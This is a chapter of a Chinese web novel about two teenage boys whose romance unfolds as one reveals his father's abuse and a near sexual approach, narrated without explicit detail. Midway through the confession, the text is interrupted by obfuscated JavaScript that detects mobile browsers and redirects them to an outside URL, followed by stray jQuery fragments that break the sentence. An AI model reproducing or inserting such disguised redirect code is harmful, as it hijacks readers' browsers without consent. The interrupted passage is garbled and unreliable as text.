88. P.39 光明和希望

作品:《白月光扮演法则

    “喝杯冰的消消气,”杨兴文把一杯可可车厘子冰沙网霍黎面前推,“这天气也不热啊,怎么火气这么大。”


    霍黎撕开吸管包装袋,握住习惯像把刀一样插进冰沙里。


    杨兴文抖了一下,“我都怀疑你面前的不是一杯冰沙,而是一杯——”


    “滚,我没那么重口。”霍黎给他一个白眼。


    半小时前霍黎在天台门口对两个陌生人放狠话,不是被另外三个人拉着以及老师出现得十分及时,这会儿他们学校喝爸妈估计已经接到电话了,私自翻墙进别人学校违反规定,在别人学校打架斗殴更是道德败坏!杨兴文没干过这么出格的事。


    “我不会在别人学校动手,我又不傻。”霍黎用吸管搅了搅冰沙,“出门遇见傻逼,烦。”


    面前的冰沙都快被他搅拌成一杯鲜红的粘稠物。


    “你别搅了,场面有点血腥。”杨兴文抓着他的手腕,霍黎往旁边躲了一下,甩开了他的手。


    唐舜从店外进来,坐下扫码点餐动作一气呵成。


    杨兴文问:“商宥心上车了?”


    “上了,给她拦的车。”唐舜瞧见霍黎面前的冰沙,又看见他嘴角残留的果汁,“啧”了一声,“还好商宥心走了,场面过于血腥。”


    杨兴文挑眉:“看吧,不是我一个人这么觉得。”


    唐舜点的奶茶好了,插上吸管啜了一口,问霍黎:“你听到那两个人说了什么?”


    那些话霍黎不想复述:“没什么。”


    唐舜又啜了两口奶茶,犹豫了一会,猜测道:“韩洋?”


    霍黎蹙眉:“你听到什么了?”


    “他们说的什么我没听到,但是这段时间学校是有点关于他的传闻,哎呀,不过你也知道,学校的那些传闻基本不可信,”唐舜顿了顿,“韩洋他在学校不是什么小透明,有点传闻正常。”


    “正常你大爷!”霍黎吼出声,声音吸引了店里其他人的瞩目,立刻压低声音,“让你当八卦的主角你高不高兴?”


    唐舜抓了下后脑勺的头发,“我不是那个意思,我是说韩洋看起来跟我们不是一个时空的。”


    霍黎低骂道:“操,什么鬼?”


    “咱们是碳基生物,他就像只有一个壳一样,碳基生物要吃饭,他吸两口空气就能活,那种感觉……我文化不好,不知道怎么形容。”


    杨兴文总结道:“他看起来像圣洁的神,咱们就是肮脏的人类,对吗?”


    唐舜点头如捣蒜:“对对对,就是这种感觉。你以为叫他学神,只是因为他成绩好,他整个人看起来就像一个神。”


    听完唐舜双手比划着一通解释,霍黎表情没有那么臭,只是一想到韩洋在他看不到的地方遭受语言上的攻击,他就恨不得每时每刻都站在韩洋身边,替他赶走攻击他的那些话。


    他又问唐舜:“你听到什么传言。”


    唐舜现在摸清霍黎的脾气,指不定说的哪句话就把他点着了,提前打了预防针:“我先声明,我因为住校听别人说的,我可没参与到讨论。”


    “说。”


    “上学期高二应该有物理的集训营,入选那个集训营的不是保送就是高考能减分,实验中学只有韩洋一个人入选了,但是他没去。当时还猜他牛逼看不上这些捷径,后来他被人追债追到校门口,才知道原来是他爸不让他去,那时候入营的时间已经过了,学校也没办法。”


    霍黎问:“去年十一月的时候?”


    “嗯。”唐舜说,“这件事闹得挺大的,连我们国际部这边都知道了。关于他家里的传闻这段时间一直没断过。上个月期中考试他缺考一科数学,被请家长了,来的人不是他爸,说是家里的长辈,但见过的人都说不像是韩洋家里的人,听说姓霍……卧槽,不是你爸吧?”


    算一下时间应该是他发烧之后的,他怕尴尬放假前一直在学校,霍翔嵩没说,韩洋更不会主动跟他提。


    “应该是……”


    唐舜半信半疑地看着霍黎,“你们关系好复杂。”


    “反正不是传言说的那样。”


    霍黎看了眼手机,他和韩洋说在附近的奶茶店等他一起回家,没等到回复,应该还在听老师讲课。他问对面的两个人:“你们什么时候走?”


    今天是假期最后一天,住校的一般今晚就回校了。


    唐舜说:“我等会儿直接回学校了,你们呢?”


    杨兴文问霍黎:”根据我的直觉,你今晚应该不回学校了。”


    “嗯,我等韩洋。”


    “得嘞,我跟唐舜一起走,你继续等韩洋。”说完杨兴文把唐舜拽起来拉出了奶茶店。


    霍黎又等了会儿,还是没收到消息,就算老师拖堂也不可能到六点还不放人,他决定直接到校门外堵人。


    门卫看到他立刻提高警惕,手机不刷了,烟也不抽了,立在门口当门神。霍黎没靠近校门,站在路边的树下,踢石子玩。学校里的下课铃声在假期也会按时响起,渐渐有三三两两的学生从里面出来,门卫把大门打开,他没有放松警惕,就怕霍黎趁乱混进学校。


    审视的目光把他浑身上下都舔了一遍,当事人终于忍不住走向门卫:“我不进去,我等个人。”


    “你这个年轻人嘴里没一句实话,我见到很多次,你不是等女朋友,你等的是个男同学,别是来找人家麻烦的。”门卫在学校久了,在校园巡逻经过荣誉墙会看几眼,每个年级都有几个眼熟的学生,面前这个男生每次来都找高二的年纪第一,不久前那个学生还被人堵在校门口,好学生怎么会遇到那些社会渣滓。


    霍黎说:“他是我哥。”


    门卫又打量了他一番,摇头。


    霍黎又说:“不信等他出来你问他。”


    “问什么?”


    不知什么时候韩洋站在几米外,看样子已经站了一会儿,不知道听到了多少,是不是听到了那句“他是我哥”。


    衬衣卷到小臂,露出了手腕上的藏蓝色手绳,把手腕趁得很白。霍黎走过去拉着他挽起的衣袖,“你跟门卫说你是不是我哥,我每次来他都像防贼一样。”


    韩洋低头抿了下唇:“叔,我不认识他,以后他再来就把他拦着。”


    抓着衣袖的手松开,转而抓住了他的手臂,不可置信张了张嘴。


    韩洋转头看他,很快又把头撇向另一边,捂着嘴肩膀微颤。霍黎把他捂嘴的手扯下来,直接把人拖走。霍黎这一带不熟,只记得公交站是往左边的方向,走了一段路他送开手。


    “我下课才看到你的消息,马上出来了。”没等霍黎问,韩洋先开口,“没想到你跟门卫也能聊得来。”


    “别说得我跟谁都有话说一样。”霍黎转头,见韩洋饶有兴味地看着他。


    韩洋说:“像你这样的人,不缺朋友,也不缺喜欢你的人,没必要把目光放在身边。”


    霍黎顿住脚步,韩洋比他快一步也停下来,回头看他。霍黎不笑的时候压迫感很强,半个头的差距,眼眸里没有光,“先不提这事,我们去吃烤肉,我请你。”


    “无缘无故请我干什么?”


    霍黎歪了歪头,“我生病你特、地回来照顾我,这个理由够不够。”


    他把“特地“”两个字咬得很重,就怕韩洋赖掉这件事。


    现在连靠近他都要想好一个合理的理由,他的喜欢就这么让他抗拒吗?他答应不逼他,但是韩洋装傻的段位太高,不经意就被他糊弄过去了。


    “够不够,你说。”霍黎逼问道。


    韩洋拗不过:“坐地铁更快吧,地铁站就在前面。”


    “好,你带路。”


    等韩洋和霍黎挤在下班高峰期的地铁上,他被着急下车的人潮差点挤下去,又被霍黎一把拉回来后,被霍黎锁在扶手和门中间的夹角里才想起他们为什么不打车,之所以没想起打车这件事,好像是因为霍黎一开始就把他拉到公交站。


    霍黎的气息将他围住,韩洋感觉呼吸有些困难,咽了下口水。霍黎始终盯着他,这个微笑的动作被他收入眼,他靠得那么近,韩洋肯定不舒服,那是他下意识的动作。


    他看到韩洋的睫毛颤了颤,接着听到韩洋问:“你为什么不打车,也不叫司机。”


    “我把司机留给了是你不用,你好心给人放一天假,我怎么好再让别人出来工作。”像赌气一样。


    韩洋抬头看他笑。


    霍黎把头低下来,鼻尖几乎碰到衬衣的布料,上面有熟悉的洗衣液清香,还有一股陌生的香味,昨天韩洋留在阿琪外婆家,用的是外婆家的沐浴露,他不喜欢这个味道。像惩罚般说:“打车的话我怎么能像现在这样。”


    韩洋的呼吸明显一滞,霍黎抬头,对他笑,笑得天真,“你说是不是,哥哥。”


    直到到烤肉店,韩洋都没再搭理他。


    韩洋平时和俞晔晨去的烤肉店都是自助的,对于他们现在的食量,自助最实惠,两个人每次都吃到扶墙出来。霍黎选的这家则完全不一样,有包厢,点单制,还有一个专门烤肉的服务员,完全不用自己动手。


    也因为有第三个人在,霍黎没有造次,韩洋才能安稳地吃完这一餐。


    吃得差不多的时候,韩洋给司机打了电话,霍黎看到他给司机发定位,说了一句“你好残忍”,然后又往他盘子里夹了塞了几片肉,堆成了一座小山。


    “别给我夹了,吃不下。”韩洋拒绝道。


    霍黎放下筷子,其实他也吃饱了,可他想看韩洋吃饭,慢条斯理地一点点将他送过去的食物吃下去,实在赏心悦目。


    “吃不下就不吃。”霍黎说,“我也不想再害你因为肠胃炎去医院。”


    很长时间没有饿一顿饱一顿,韩洋的胃被养回来一些,胃口也变刁了。刚才有一块不小心烤得过火的牛肉,他嚼了一会儿没嚼动,直接吐出来。


    到家后两个人各自回房间,霍黎刚走到门口又倒回去,见韩洋也是从楼上下来的动作,他说:“你有话对我说吗?”


    韩洋没有犹豫点了下头。


    霍黎说:“我也有话对你说,去你房间吧。”


    韩洋的房间有一半的东西是被霍黎塞进去的,他和韩洋各自窝在一个懒人沙发上,中间隔了一个圆桌。霍黎出门时只带了一台手机,现在他把手机摆在圆桌上。韩洋抱着一个圆形的抱枕,看着他,等他说话。


    两个人看着对方谁都不开口,霍黎搓了把脸,“你不开口,我们要这样拖到什么时候,你明天不上课吗?”


    “我不知道说什么。”韩洋抓了一下抱枕,又松开。


    “你又说有话要跟我说。”


    韩洋说:“是你先说有话要跟我说。”


    “所以你是在等我说什么,然后再根据我的话对我说什么?”霍黎快把自己绕进去了,“你就没什么话要对我说?”


    “有。”韩洋很诚实,说出来的话却带刺,“是不是我住在你家里,距离太近了,让你对我产生了什么错觉,如果是这样,我跟霍叔说我搬出去,我去住校……”


    他的话没说下去,因为霍黎在听到他要搬出的同时冲到他面前,撞到了中间碍事的圆桌,霍黎双手撑在沙发两侧,他再往前就能亲到韩洋。


    “你明明知道在你住进来之前我就喜欢你,你怎么还能说出这样的话。”霍黎低声说,胸口起伏着,把心中的火压下去。


    想起下午的种种,又如火上浇油。


    “你去住校,让别人在背后说的话搬到你面前说吗?韩洋,你听到那些话是什么感受,你不生气吗?我告诉你,我很生气,恨不得将他们的嘴都撕了。”


    “你……”韩洋不可置信,“你听到了?你因为这样差点跟他们动手?”


    霍黎僵了一下,他火气上来时脑子反应变迟钝,再迟钝他也知道了,下午的事韩洋看见了。


    “你看见了,你……”


    韩洋笑了一下:“挺好的,有人能拦得住你。”


    “韩洋,你不觉得你说这句话的时候特别别扭?”


    “别扭什么?”韩洋敛了笑,顺着霍黎的话问。


    “特别像……”吃醋。霍黎把最后两个字咬碎在唇齿间,他知道自己肯定自作多情了。


    “像一个残忍的恶魔。”


    韩洋脸上的紧绷的神经放松了一些,“我是被恶魔教养出来的,像是应该的。”


    霍黎钳住韩洋的肩膀:“你这么贬低自己只会让我心疼,我心疼一分,对你的喜欢就多一分,你想清楚接下来要说的话。”


    韩洋垂着头,身上一点力气都没有,仿佛撑住他的那双手一送开,他整个就要向前栽倒,他保持这样的姿势问霍黎:“我的事情你知道多少?”


    不等霍黎开口,他自言自语道:“我有一个混账父亲,你知道。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196612|183250||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “嗯。”


    “我不知道我母亲是谁,从我记事起家里的唯一的女人就是李灵,她让我叫她阿姨。从小……也不是从小,大概是上小学之后,韩委开始无缘无故打我,他打的时候她就在旁边看,我向她求助,求她救救我,可她始终坐在那里没有动。求了几次之后我知道任凭我怎么求都没用,我就不开口了,只是被打得奄奄一息的时候朝她看一眼,后来她可能受不了我的这样的眼神,就走了。”


    韩洋闭上眼,把在眼眶里打转的泪咽下去。他感觉钳制着他的手绕到了背后,若有若无地轻抚着他的背。


    人总是贪恋温暖的,他躲了这么多天,却在真实地贴上霍黎炙热的胸膛时,期盼着时间停在这一刻。


    上次霍黎只是听俞晔晨说了大概,远没有韩洋讲的那么详细,每一个字拼凑成的画面在他面前重演一遍,听的人都受不了,遑论亲历者。


    “算了,我不知道也没关系。”


    两个人之间隔着一个抱枕,霍黎将韩洋用力压向自己,这个时候在没有比拥抱更能支撑韩洋的东西。


    韩洋在他肩窝里摇了摇头,声音很轻地说:“这是我想跟你说的,你可以不听完,可以现在就走,但我想说。”


    霍黎收紧了手臂,韩洋却挣了一下,抬起头从他怀里出来,“还是这样说吧。”


    霍黎坐在地毯上,靠着沙发,抬起头听韩洋继续。


    “你也应该知道,我能活到现在能正常上学,都是因为霍叔和俞晔晨家里的帮衬。”


    霍黎点了下头。


    “几年前,我开始怀疑我可能不是韩委亲生的,不是因为他虐待我——纵使韩委再变态,他都不应该对自己的孩子产生欲望。”


    霍黎一怔,害怕地问出口:“他对你做了什么?”


    “他没对我做实质性的伤害,”韩洋安慰性地他一笑,“赌瘾大的人是无法控制自己的欲望,他和李灵的关系更多是皮肉上的,韩委年轻时长得不错,是他自己把自己变成这幅人不人鬼不鬼的模样。李灵走之后他经常带不同女人回家,那些女人是做皮肉生意的,根本不在乎男人会把她们带去哪里,也不在乎家里是不是有人。有几次我在房间写作业,听到他们在客厅……在客厅的声音。”


    “韩委没钱的时候不找女人,不知道从哪里搞来几张碟,在客厅里放,边看边……”韩洋说不下去,缓缓吐了口气,“初三那年暑假很长,我年龄不到没办法兼职,只能每天在家,有次韩委又拿回来几张碟,不知道是有人故意整他,还是不小心拿错了,里面的内容是两个男的。他在客厅的时候我一般不会出去,可偏偏那时候我尿急憋不出,开门时听到他拿着电话骂对面的人给他什么恶心的玩意,开门声惊动了他,他朝我看过来。”


    “那个瞬间他的眼神变了,就跟看那些女人一样,我害怕地躲回房间,关上门之前他已经朝我冲过来,如果不是这个时候有人敲门。”


    霍黎悬了起来,想去抓韩洋的手,却发现那两只手紧紧抓着沙发,韩洋在抖,此刻霍黎不敢动,只能抬头看着韩洋,用眼神告诉他,以后不会再发生这样的事。


    “敲门的是他长期联系的其中一个女人,很奇怪,韩委没次跟那些女人做之前都要看片,好像不看他就硬不起来一样。”


    “你因为这件事恶心同性恋吗?”霍黎小心翼翼地问道。


    韩洋摇摇头:“他算什么,他对我的影响没有那么大。”


    霍黎跟着附和:“对啊,他算什么。那你……”


    “我?”韩洋自嘲地笑了笑,“我跟他不一样,”他抬手挽这霍黎鬓角的发,“我跟你也不一样。”


    “嗯。”霍黎闭上眼,悬着的心重重往下沉,在听到韩洋下一句时,倏地睁大了双眼。


    “你不是天生就喜欢男人,而我是……就在那件事没过多久的某一个晚上,我的梦里又个模糊的人影,我看不清,但我能清晰地感觉到他身上肌肉的线条,那是男人才有的,我看到,我和他交缠在一起。”


    霍黎问:“你喜欢过男生?”


    “没有,我到现在没喜欢过其他人。”


    “你怎么确定你喜欢男的呢?那只是一个梦而已。”


    韩洋反问:“你梦里出现过男的吗?”


    “我……”霍黎顿住,他梦里出现的人就在面前,比韩洋梦里模糊的身影更让人觉得肮脏。


    “你没有,所以你其实不是真的同性恋,只是青春期的荷尔蒙给你的错觉。”


    说了一大堆又绕回到原地。


    霍黎用力握住韩洋:“是不是韩委让你恶心,你就把那种恶心往自己身上按,故意说这些来恶心我,都他大爷地胡扯,梦到跟男人上床就恶心的话,我更是龌蹉至极,我梦里都是你,拥抱的是你,亲吻的也是你……这样的我够资格喜欢你了吗?”


    “你……”韩洋颤抖地呼吸着,“不是……一个梦说明不了什么。”


    “一个梦说明不了什么?”霍黎气笑了,“你怎么知道我只做了那个梦,那昨天的吻呢,韩洋,你知不知道我现在就想……”


    一个巴掌落在脸侧,力道不大,反而像抚摸似的,霍黎抓着那只手往下移,按在自己胸口上,“这里会因为谁而跳动我比谁都清楚,哪怕在我还没意识到喜欢你的时候,它已经在为你心动,谁都没办法控制,连我自己都控制不了。”


    “如果那件事在你心里留下不可磨灭的阴影,那就让我照亮它,你的心里就是一片光明。”


    韩洋怔怔地看着霍黎,眼里的泪光再次涌上来,双手被霍黎紧紧抓着,他只能睁着眼不让眼泪落下来。


    “别忘了我叫霍黎,爷爷当初给我起名的时候就希望我的到来能扫去家里的阴霾,带来光明和希望。”


    “现在,我希望我能给你带去光明和希望。”


    “听上去有点不要脸,但我就这样。”


    “霍黎,”韩洋讷讷地叫他的名字,“霍黎,我现在还是接受不了呢?”


    “接受不了男人的感情还是接受不了不了男人的触碰。”霍黎松开了韩洋,反而笑了,“我没让你现在接受,我可以等你接受。”


    “万一要很久,几个月,几年,几十年呢?”


    “你对我有点信心好不好。”霍黎不要脸说道,“等你喜欢我超过了一切,就没有任何人或事能阻挡你想靠近我,我觉得那一天不会远。”